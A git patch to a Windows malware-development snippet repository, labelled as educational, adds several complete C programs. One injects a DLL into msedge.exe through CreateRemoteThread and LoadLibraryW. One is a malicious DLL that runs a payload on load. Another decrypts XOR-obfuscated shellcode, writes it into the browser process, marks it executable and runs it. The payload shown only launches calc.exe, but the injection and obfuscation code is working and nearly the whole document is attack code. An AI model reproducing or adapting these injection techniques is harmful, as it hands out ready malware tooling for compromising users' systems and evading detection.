From fd7526d71776827aad4e175c9e5965b2308fd4db Mon Sep 17 00:00:00 2001 From: Print3M <92022497+Print3M@users.noreply.github.com> Date: Fri, 22 Dec 2023 16:39:04 +0100 Subject: [PATCH] new snippet --- README.md | 3 +- dll_process_injection.c | 122 +++++++++++++++++++++++++ local_thread.c | 5 ++ malicious_dll.c | 25 ++++++ shellcode_process_injection.c | 165 ++++++++++++++++++++++++++++++++++ 5 files changed, 318 insertions(+), 2 deletions(-) create mode 100644 dll_process_injection.c create mode 100644 malicious_dll.c create mode 100644 shellcode_process_injection.c diff --git a/README.md b/README.md index 3725e9d..04d4a2c 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,6 @@ > **IMPORTANT**: The code is written and can be used only for the educational purpose! -This repository contains C/C++ snippets of code useful during Windows malware development. +This repository contains C/C++ snippets of code useful during Windows malware development. I'm trying to make every file standalone, hence some pieces of code might be redundant. You should always look at the standalone source file of a specific functionality. A lot of techniques presented here and much more are described in [my malware-dev notes](https://print3m.github.io/notes) (`/windows/malware-dev`). - diff --git a/dll_process_injection.c b/dll_process_injection.c new file mode 100644 index 0000000..b78a171 --- /dev/null +++ b/dll_process_injection.c @@ -0,0 +1,122 @@ +#include +#include +#include +#include +#include + +/* + Find process by name. + Inject malicious DLL in the remote process thread. +*/ + +/*===================================# +# PROCESS ENUMERATION FROM # +# process_enumeration_snapshot.c # +#===================================*/ + +void to_lowercase(IN wchar_t src[], OUT wchar_t dest[]) { + for (size_t i = 0; i < wcslen(src); i++) { + dest[i] = (wchar_t)tolower(src[i]); + dest[i + 1] = '\0'; + } +} + +bool find_process(IN const wchar_t proc_name[], OUT HANDLE* proc, OUT PROCESSENTRY32* proc_entry) { + /* + Return: + TRUE - if process has been found and opened (:pProcName and :hProc are populated) + FALSE - if something failed (reading :pProcName and :hProc is undefined behavior) + */ + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (snap == INVALID_HANDLE_VALUE) { + printf("[!] CreateToolhelp32Snapshot error: %d \n", GetLastError()); + return FALSE; + } + + + if (!Process32First(snap, proc_entry)) { + printf("[!] Process32First error: %d \n", GetLastError()); + return FALSE; + } + + // Prepare lowercase process name + wchar_t process_name[MAX_PATH]; + + do { + to_lowercase(proc_entry->szExeFile, process_name); + + // printf("Proc: %5d | %ls \n", proc_entry->th32ProcessID, process_name); + + if (wcscmp(process_name, proc_name) == 0) { + *proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, proc_entry->th32ProcessID); + if (*proc == NULL) { + printf("[!] OpenProcess error: %d \n", GetLastError()); + return FALSE; + } + + return TRUE; + } + } while (Process32Next(snap, proc_entry)); + + return FALSE; +} + +const wchar_t dll_path[] = L"C:\\path\\to\\malicious.dll"; + +int main() { + HANDLE proc = NULL; + PROCESSENTRY32 proc_entry = { + // According to the documentation, this value must be initialized + .dwSize = sizeof(PROCESSENTRY32) + }; + + if (!find_process(L"msedge.exe", &proc, &proc_entry)) { + printf("[!] FindProcess failed \n"); + } + + printf("[+] Process opened: (%d) %ls \n", proc_entry.th32ProcessID, proc_entry.szExeFile); + + // Get an address of the function that is used to load external DLL into the remote process + void* pLoadLibraryW = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW"); + if (pLoadLibraryW == NULL) { + printf("[!] GetProcAddress error: %d \n", GetLastError()); + return 1; + } + + // Allocate memory in the remote process for a DLL path string + void* dll_path_mem = VirtualAllocEx( + proc, + NULL, + sizeof(dll_path), + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE + ); + if (dll_path_mem == NULL) { + printf("[!] VirtualAllocEx error: %d \n", GetLastError()); + return 1; + } + + // Write the DLL path into the allocated remote process memory + size_t no_bytes = 0; + WriteProcessMemory(proc, dll_path_mem, dll_path, sizeof(dll_path), &no_bytes); + if (no_bytes == 0) { + printf("[!] WriteProcessMemory error: %d \n", GetLastError()); + return 1; + } + + /* + Create a new thread in the remote process. + Call LoadLibraryW with malicious DLL in the remote process. + */ + HANDLE thread = CreateRemoteThread(proc, NULL, NULL, pLoadLibraryW, dll_path_mem, NULL, NULL); + if (thread == NULL) { + printf("[!] CreateRemoteThread error: %d \n", GetLastError()); + return 1; + } + + printf("[+] It works."); + + // Exit + getchar(); + return 0; +} \ No newline at end of file diff --git a/local_thread.c b/local_thread.c index 93dabfc..b8f66bc 100644 --- a/local_thread.c +++ b/local_thread.c @@ -7,6 +7,11 @@ A shellcode XOR encryption is implemented as well. */ +/*===================================# +# XORED PAYLOAD HANDLINGFROM # +# xor_payload.c # +#===================================*/ + // Xored shellcode with calc.exe uint8_t calc_shellcode_xored[] = { 0x8A, 0x2D, 0xF1, 0x9D, 0xAF, 0x9B, 0xB4, 0x72, 0x6F, 0x6E, 0x26, 0x0E, 0x2A, 0x35, 0x2B, diff --git a/malicious_dll.c b/malicious_dll.c new file mode 100644 index 0000000..b357120 --- /dev/null +++ b/malicious_dll.c @@ -0,0 +1,25 @@ +#include "pch.h" +#include "stdlib.h" + +void execute_payload() { + system("calc.exe"); +} + +BOOL APIENTRY DllMain( HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) { + case DLL_PROCESS_ATTACH: + execute_payload(); + break; + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + + return TRUE; +} + diff --git a/shellcode_process_injection.c b/shellcode_process_injection.c new file mode 100644 index 0000000..f8d0300 --- /dev/null +++ b/shellcode_process_injection.c @@ -0,0 +1,165 @@ +#include +#include +#include +#include +#include +#include + +/* + Decrypt a xored shellcode. + Find a remote process by name. + Inject the shellcode in the remote process and start a new thread. +*/ + +/*===================================# +# XORED PAYLOAD HANDLINGFROM # +# xor_payload.c # +#===================================*/ + +// Xored shellcode with calc.exe +uint8_t calc_shellcode[] = { + 0x8A, 0x2D, 0xF1, 0x9D, 0xAF, 0x9B, 0xB4, 0x72, 0x6F, 0x6E, 0x26, 0x0E, 0x2A, 0x35, 0x2B, + 0x27, 0x33, 0x3A, 0x48, 0x8D, 0x16, 0x3C, 0xF9, 0x3D, 0x0E, 0x2F, 0xD4, 0x39, 0x7D, 0x31, + 0xFD, 0x37, 0x52, 0x31, 0xD4, 0x01, 0x24, 0x3A, 0x60, 0xD9, 0x2D, 0x15, 0x26, 0x54, 0xB0, + 0x3E, 0x54, 0xB2, 0xD5, 0x63, 0x12, 0x08, 0x70, 0x43, 0x4E, 0x26, 0x9E, 0xA2, 0x68, 0x38, + 0x77, 0xA4, 0x90, 0x94, 0x0D, 0x32, 0x25, 0x3A, 0xE4, 0x3C, 0x47, 0xD4, 0x29, 0x59, 0x31, + 0x77, 0xB5, 0xF9, 0xF9, 0xD7, 0x73, 0x74, 0x72, 0x27, 0xEB, 0xA7, 0x2B, 0x0C, 0x2D, 0x78, + 0xA6, 0x35, 0xF9, 0x31, 0x47, 0x37, 0xFF, 0x32, 0x4F, 0x27, 0x66, 0x8F, 0x88, 0x33, 0x31, + 0x89, 0xAC, 0x33, 0xF2, 0x6B, 0xFB, 0x3C, 0x73, 0xB9, 0x23, 0x56, 0x96, 0x23, 0x54, 0xB9, + 0xDA, 0x24, 0xB3, 0xB0, 0x52, 0x32, 0x75, 0xB3, 0x57, 0x8E, 0x12, 0xAE, 0x27, 0x66, 0x35, + 0x52, 0x6D, 0x37, 0x40, 0x8E, 0x06, 0xAC, 0x2A, 0x2B, 0xE5, 0x27, 0x7B, 0x22, 0x64, 0xA9, + 0x10, 0x24, 0xF9, 0x75, 0x17, 0x37, 0xFF, 0x32, 0x73, 0x27, 0x66, 0x8F, 0x2A, 0xEE, 0x7D, + 0xFE, 0x2D, 0x73, 0xA9, 0x1E, 0x2B, 0x35, 0x2A, 0x31, 0x37, 0x3D, 0x1E, 0x33, 0x24, 0x20, + 0x37, 0x3F, 0x3A, 0xFA, 0xB3, 0x53, 0x35, 0x20, 0x90, 0x8E, 0x3F, 0x1E, 0x32, 0x3F, 0x31, + 0xFD, 0x77, 0x9B, 0x2E, 0xA0, 0x8C, 0x8B, 0x2F, 0x27, 0xD4, 0x66, 0x5F, 0x6B, 0x65, 0x79, + 0x76, 0x65, 0x72, 0x31, 0xD2, 0xFE, 0x75, 0x73, 0x6F, 0x6E, 0x26, 0xE5, 0x5A, 0xEE, 0x16, + 0xF1, 0x9A, 0xA7, 0xC2, 0xBF, 0x6E, 0x5E, 0x78, 0x2E, 0xD4, 0xC1, 0xCA, 0xD6, 0xF8, 0x86, + 0xA3, 0x2D, 0xF1, 0xBD, 0x77, 0x4F, 0x72, 0x0E, 0x65, 0xEE, 0x9C, 0xBF, 0x1E, 0x60, 0xC2, + 0x31, 0x76, 0x00, 0x16, 0x35, 0x73, 0x2D, 0x33, 0xE6, 0xB4, 0x98, 0x8A, 0x08, 0x04, 0x15, + 0x15, 0x65, +}; + +uint8_t xor_key[] = { + 'v', 'e', 'r', 'y', '_', 's', 't', 'r', 'o', 'n', 'g', '_', 'k', 'e', 'y' +}; + +void xor_by_key(IN OUT uint8_t shellcode[], IN const size_t shellcode_sz, IN const uint8_t key[], IN const size_t key_sz) { + for (size_t i = 0; i < shellcode_sz; i++) { + // Get byte of key + uint8_t byte_key = key[i % key_sz]; + + // Calculate value + shellcode[i] = shellcode[i] ^ byte_key; + } +} + +/*===================================# +# PROCESS ENUMERATION FROM # +# process_enumeration_snapshot.c # +#===================================*/ + +void to_lowercase(IN wchar_t src[], OUT wchar_t dest[]) { + for (size_t i = 0; i < wcslen(src); i++) { + dest[i] = (wchar_t)tolower(src[i]); + dest[i + 1] = '\0'; + } +} + +bool find_process(IN const wchar_t proc_name[], OUT HANDLE* proc, OUT PROCESSENTRY32* proc_entry) { + /* + Return: + TRUE - if process has been found and opened (:pProcName and :hProc are populated) + FALSE - if something failed (reading :pProcName and :hProc is undefined behavior) + */ + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (snap == INVALID_HANDLE_VALUE) { + printf("[!] CreateToolhelp32Snapshot error: %d \n", GetLastError()); + return FALSE; + } + + + if (!Process32First(snap, proc_entry)) { + printf("[!] Process32First error: %d \n", GetLastError()); + return FALSE; + } + + // Prepare lowercase process name + wchar_t process_name[MAX_PATH]; + + do { + to_lowercase(proc_entry->szExeFile, process_name); + + // printf("Proc: %5d | %ls \n", proc_entry->th32ProcessID, process_name); + + if (wcscmp(process_name, proc_name) == 0) { + *proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, proc_entry->th32ProcessID); + if (*proc == NULL) { + printf("[!] OpenProcess error: %d \n", GetLastError()); + return FALSE; + } + + return TRUE; + } + } while (Process32Next(snap, proc_entry)); + + return FALSE; +} + +int main() { + // Find process by name + HANDLE proc = NULL; + PROCESSENTRY32 proc_entry = { + // According to the documentation, this value must be initialized + .dwSize = sizeof(PROCESSENTRY32) + }; + if (!find_process(L"msedge.exe", &proc, &proc_entry)) { + printf("[!] FindProcess failed \n"); + return 1; + } + + // Allocate memory for a shellcode in the remote process + void* shellcode_addr = VirtualAllocEx( + proc, + NULL, + sizeof(calc_shellcode), + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE + ); + if (shellcode_addr == NULL) { + printf("[!] VirtualAllocEx error: %d \n", GetLastError()); + return 1; + } + + // Decrypt shellcode and + xor_by_key(calc_shellcode, sizeof(calc_shellcode), xor_key, sizeof(xor_key)); + + // Write the shellcode to the allocated memory in the remote process + size_t bytes = 0; + WriteProcessMemory(proc, shellcode_addr, calc_shellcode, sizeof(calc_shellcode), &bytes); + if (bytes == 0) { + printf("[!] WriteProcessMemory: %d \n", GetLastError()); + return 1; + } + + // Wipe the shellcode out from local memory + memset(calc_shellcode, 0x00, sizeof(calc_shellcode)); + + // Mark the allocated memory as executable + DWORD old = 0; + if (!VirtualProtectEx(proc, shellcode_addr, sizeof(calc_shellcode), PAGE_EXECUTE_READWRITE, &old)) { + printf("[!] VirtualProtectEx error: %d \n", GetLastError()); + return 1; + } + + // Create a new thread in the remote process and execute the shellcode + if (CreateRemoteThread(proc, NULL, NULL, shellcode_addr, NULL, NULL, NULL) == NULL) { + printf("[!] CreateRemoteThread error: %d \n", GetLastError()); + return 1; + } + + printf("[+] It works. \n"); + + // Exit + getchar(); + return 0; +} \ No newline at end of file